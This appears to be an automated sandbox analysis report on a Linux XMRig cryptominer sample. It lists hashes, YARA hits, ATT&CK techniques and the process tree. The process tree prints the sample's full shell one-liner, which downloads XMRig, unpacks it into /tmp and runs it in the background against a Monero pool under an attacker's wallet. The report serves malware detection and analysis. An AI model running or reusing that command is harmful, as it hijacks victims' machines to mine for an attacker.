xmrig_linux | 864533db99aade7897c872cffb6e991e166adb370bbad3c0ec969bf646d92dcc

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-20.04_amd64
resource
ubuntu2004-amd64-20240221-en
resource tags

arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
submitted
22/03/2024, 02:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

864533db99aade7897c872cffb6e991e166adb370bbad3c0ec969bf646d92dcc.elf
Size

28KB
MD5

da93f99c9d6e98e69d2f6fb3558c1b74
SHA1

e2ac9a127c3ff440eb8c45894da95e43b8bf3a18
SHA256

864533db99aade7897c872cffb6e991e166adb370bbad3c0ec969bf646d92dcc
SHA512

74dc76d011aa4c1087e6ce7483d8d4c4573a8815237622cf88863cfb3c6ac3f2278dbfbdbb2bba8dbcfdb9fdf315203cb5343e0088875ee7da2e8c38c9c0360e
SSDEEP

384:McRvMLsiLPfToCQ667Buk3JWuxZ6MiV44vG7iC/PzpL59j2aI8yURza/2ml6AaJB:NRkLnT+I0JWnlV0isF1I8HazldyyGI8

Score

10^/10

xmrig_linux miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/fstream-4.dat	family_xmrig
behavioral1/files/fstream-4.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself		1486	864533db99aade7897c872cffb6e991e166adb370bbad3c0ec969bf646d92dcc.elf

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

Impair Defenses

T1562

description	ioc
File opened for modification	/dev/misc/watchdog
File opened for modification	/dev/watchdog

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/self/exe	864533db99aade7897c872cffb6e991e166adb370bbad3c0ec969bf646d92dcc.elf
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/sys/kernel/random/boot_id	tar

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.21.1-linux-x64.tar.gz	wget
File opened for modification	/tmp/xmrig-6.21.1/xmrig	tar

/tmp/864533db99aade7897c872cffb6e991e166adb370bbad3c0ec969bf646d92dcc.elf
/tmp/864533db99aade7897c872cffb6e991e166adb370bbad3c0ec969bf646d92dcc.elf
1⤵
- Changes its process name
- Reads runtime system information
PID:1486

/bin/sh
sh -c "wget https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-x64.tar.gz && tar -xzf xmrig-6.21.1-linux-x64.tar.gz && mv xmrig-6.21.1 /tmp/ && rm -rf xmrig-6.21.1-linux-x64.tar.gz && cd /tmp/xmrig-6.21.1 && chmod 777 * && ./xmrig --opencl --cuda -o xmr-eu1.nanopool.org:14433 -u 49WVNTHfo5c7zfYi3METsCPW93hLJFYNKBS5GZDxSbuZA1FNJULGvkkY5y7sDozjTTMgeT3JyqLfV38TGzqMPuiGJzeHmeZ --tls --coin monero --background"
1⤵
PID:1490
- /usr/bin/wget
  wget https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:1494
- /usr/bin/tar
  tar -xzf xmrig-6.21.1-linux-x64.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1933
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:1934
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:1934
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:1934
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:1934
- /usr/bin/mv
  2⤵
  - Reads runtime system information
  PID:1935

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/root/.wget-hsts

Filesize
165B

MD5
9a302644404daebfb496bc01a452e4ec

SHA1
65e07415fb444ac2c5ae2085fad1e81c0c368383

SHA256
b1b7369256136b473d7f15f7c325e58821a2470459712c68686678d552504de0

SHA512
56c61f5282a2bbbdd7e728800b837e65f6bc346a7373ac2d8c3702e3c991ad2494e52e646e8712fae13c02b1d03cf918fc082b2cf29c870ffc26fe2fb4e825b4

Download Submit
/tmp/xmrig-6.21.1-linux-x64.tar.gz

Filesize
1.3MB

MD5
00bade8ffbcee18c1ca02b7674e2a454

SHA1
39f2a874f3a132dcf4fd9324d859ffc87dd68e21

SHA256
d254114811f119645eadb5e7d1b5d61c7004c6e1564454427763c1632d4395c7

SHA512
4eebadfae445eea89e433a0a6e082897233f4a6f9a61d8c91753a9461bae159a9429e560a548d180e50d0d623a6928cfb9b7780905a7110d9a8185ff4936dc3c

Download Submit
/tmp/xmrig-6.21.1/xmrig

Filesize
8.2MB

MD5
5c43366798c0732fc300e9fa1110ac80

SHA1
d66c09eeac08dc47aa797f9ad83a98ce75d58b1d

SHA256
33e46bf90ea9f0c4d91f4edd8450b35944e8a355c76a4c318e900d2d7e163c16

SHA512
e7d667280ecc5af7527eaf4e1af36dc5ccd82fa791f4c14de8b8d57d42a223bfbfcae82aff13afa69f3e9105a1a7a4230c1f75cb9eb88cf145b1a7fcd97cbdc9

Download Submit